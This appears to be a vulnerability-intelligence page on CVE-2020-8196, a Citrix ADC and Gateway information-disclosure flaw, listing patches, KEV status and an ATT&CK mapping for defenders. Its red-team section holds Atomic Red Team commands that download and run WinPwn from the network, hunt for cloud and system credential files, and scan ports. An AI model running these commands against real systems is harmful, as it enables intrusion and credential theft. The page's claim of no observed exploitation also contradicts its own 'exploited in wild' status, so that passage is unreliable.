CVE-2020-8196

MEDIUM CISA KEV Pub 10/07 Upd 21/10

Overview

The vulnerability is an improper access control flaw affecting Citrix ADC, Citrix Gateway, and Citrix SDWAN WAN-OP firmware versions prior to specified releases. The root cause lies in insufficient enforcement of privilege restrictions on certain internal functions, allowing low-privileged users to access resources or information that should be restricted. This improper validation occurs within the authentication and authorization mechanisms of the affected network appliance firmware components.

Vulnerability Description

Improper access control in Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18 and Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 resulting in limited information disclosure to low privileged users.

Impact

An attacker with a low-privileged authenticated account can exploit this vulnerability to gain access to limited sensitive information that should be restricted, such as configuration details or diagnostic data. This unauthorized disclosure can aid in further reconnaissance or targeted attacks within the network environment. The exploitation requires valid low-level credentials but no elevated privileges or user interaction beyond authentication. The business consequence includes potential exposure of internal system data that could facilitate lateral movement or targeted exploitation.

Solution

Citrix has released fixed firmware versions addressing this improper access control issue: Citrix ADC and Citrix Gateway versions 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14, and 10.5-70.18, as well as Citrix SDWAN WAN-OP versions 11.1.1a, 11.0.3d, and 10.2.7. Administrators should upgrade to these or later versions as detailed in Citrix advisory CTX276688 (https://support.citrix.com/article/CTX276688). No specific workarounds are documented; patching is the recommended mitigation.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in question arises from improper access control mechanisms within specific versions of Citrix Application Delivery Controller (ADC) and Citrix Gateway, as well as Citrix SD-WAN WAN-OP. This flaw allows low-privileged users to gain access to sensitive information that should be restricted. The affected systems fail to adequately enforce user permissions, leading to a situation where unauthorized access can occur. This misconfiguration can expose critical data, undermining the integrity and confidentiality of the information processed through these devices.

Attack vectors exploiting this vulnerability can vary, but they typically involve an attacker leveraging their low-privileged access to query or retrieve information that is not intended for their user role. For instance, an attacker could craft specific requests to the affected systems, potentially gaining insights into network configurations, user accounts, or other sensitive operational data. This exploitation could be executed remotely, making it particularly concerning for organizations that rely on these devices for secure application delivery and network management. The risk escalates if an attacker combines this access with other vulnerabilities or social engineering tactics to escalate their privileges further.

The real-world impact of this vulnerability can be significant, especially for organizations that depend on Citrix products for their critical operations. The unauthorized disclosure of sensitive information could lead to data breaches, regulatory non-compliance, and reputational damage. For example, if an attacker were to access user credentials or sensitive configuration details, they could potentially launch further attacks on the organization’s infrastructure. The business risk is compounded by the fact that many organizations utilize these products to facilitate remote work and secure access to applications, making them attractive targets for malicious actors.

To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular audits of user permissions and access controls are essential to ensure that only authorized personnel have access to sensitive information. Additionally, organizations should apply the latest patches and updates provided by Citrix to their ADC and Gateway products, as these updates often contain critical security enhancements that address known vulnerabilities. Intrusion detection systems can also be employed to monitor for unusual access patterns or unauthorized queries, providing an additional layer of security.

In conclusion, the improper access control in Citrix ADC, Gateway, and SD-WAN WAN-OP products poses a notable risk to organizations that utilize these technologies. The potential for information disclosure to low-privileged users can lead to serious security incidents if left unaddressed. By prioritizing detection, regular updates, and strict access control measures, organizations can significantly reduce their exposure to this vulnerability and enhance their overall security posture.




CVE-2020-8196 has recently been incorporated into the CISA Known Exploited Vulnerabilities (KEV) catalog, reflecting a formal recognition of its operational relevance within federal cybersecurity frameworks. Concurrently, the CVSS score for this vulnerability was updated from 0.0 to 4.3, aligning its severity with the potential impact of limited information disclosure to low-privileged users. Notably, the Exploit Prediction Scoring System (EPSS) now assigns this vulnerability a significant score exceeding 0.68, placing it within the top percentile for predicted exploitation likelihood. This shift indicates an increased probability that adversaries may leverage this flaw, despite the absence of new exploit details or observed active exploitation in our telemetry. For defenders, these developments underscore a heightened need for vigilance, as the vulnerability’s inclusion in the KEV catalog often correlates with prioritization in patch management and incident response workflows. The updated risk assessment elevates CVE-2020-8196 from a theoretical concern to a practical threat vector warranting closer monitoring, especially in environments utilizing affected Citrix ADC, Gateway, and SD-WAN WAN-OP versions. While no ransomware activity has been linked to this vulnerability to date, its growing exploitability potential suggests it could become a target in broader attack campaigns.

Affected Products (13)

Vendor Product Version CPE
citrix Citrix Application Delivery Controller Firmware All cpe:2.3:o:citrix:application_delivery_controller_firmware:*:*:*:*:*:*:*:*
citrix Citrix Application Delivery Controller Firmware All cpe:2.3:o:citrix:application_delivery_controller_firmware:*:*:*:*:*:*:*:*
citrix Citrix Application Delivery Controller Firmware All cpe:2.3:o:citrix:application_delivery_controller_firmware:*:*:*:*:*:*:*:*
citrix Citrix Application Delivery Controller Firmware All cpe:2.3:o:citrix:application_delivery_controller_firmware:*:*:*:*:*:*:*:*
citrix Citrix Application Delivery Controller Firmware All cpe:2.3:o:citrix:application_delivery_controller_firmware:*:*:*:*:*:*:*:*
citrix Citrix Netscaler Gateway Firmware All cpe:2.3:o:citrix:netscaler_gateway_firmware:*:*:*:*:*:*:*:*
citrix Citrix Netscaler Gateway Firmware All cpe:2.3:o:citrix:netscaler_gateway_firmware:*:*:*:*:*:*:*:*
citrix Citrix Netscaler Gateway Firmware All cpe:2.3:o:citrix:netscaler_gateway_firmware:*:*:*:*:*:*:*:*
citrix Citrix Netscaler Gateway Firmware All cpe:2.3:o:citrix:netscaler_gateway_firmware:*:*:*:*:*:*:*:*
citrix Citrix Gateway Firmware All cpe:2.3:o:citrix:gateway_firmware:*:*:*:*:*:*:*:*
citrix Citrix Sd-Wan Wanop All cpe:2.3:o:citrix:sd-wan_wanop:*:*:*:*:*:*:*:*
citrix Citrix Sd-Wan Wanop All cpe:2.3:o:citrix:sd-wan_wanop:*:*:*:*:*:*:*:*
citrix Citrix Sd-Wan Wanop All cpe:2.3:o:citrix:sd-wan_wanop:*:*:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

3 events
2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2021-11-03
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Authentication Bypass
100% auth_bypass
Authorization Bypass
99% authz_bypass
Insecure Direct Object Reference
90% idor
Privilege Escalation
46% privilege_escalation

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-552 Install Rootkit
30%
Medium High
CAPEC-479 Malicious Root Certificate
30%
Low Low
CAPEC-19 Embedding Scripts within Scripts
30%
High High
CAPEC-556 Replace File Extension Handlers
30%
CAPEC-562 Modify Shared File
30%

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (4)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2020-8196
support.citrix.com
GitHub CVE x_refsource_MISC
https://support.citrix.com/article/CTX276688
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/160047/Citrix-ADC-NetScaler-Local-File-Inclusion.html
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-8196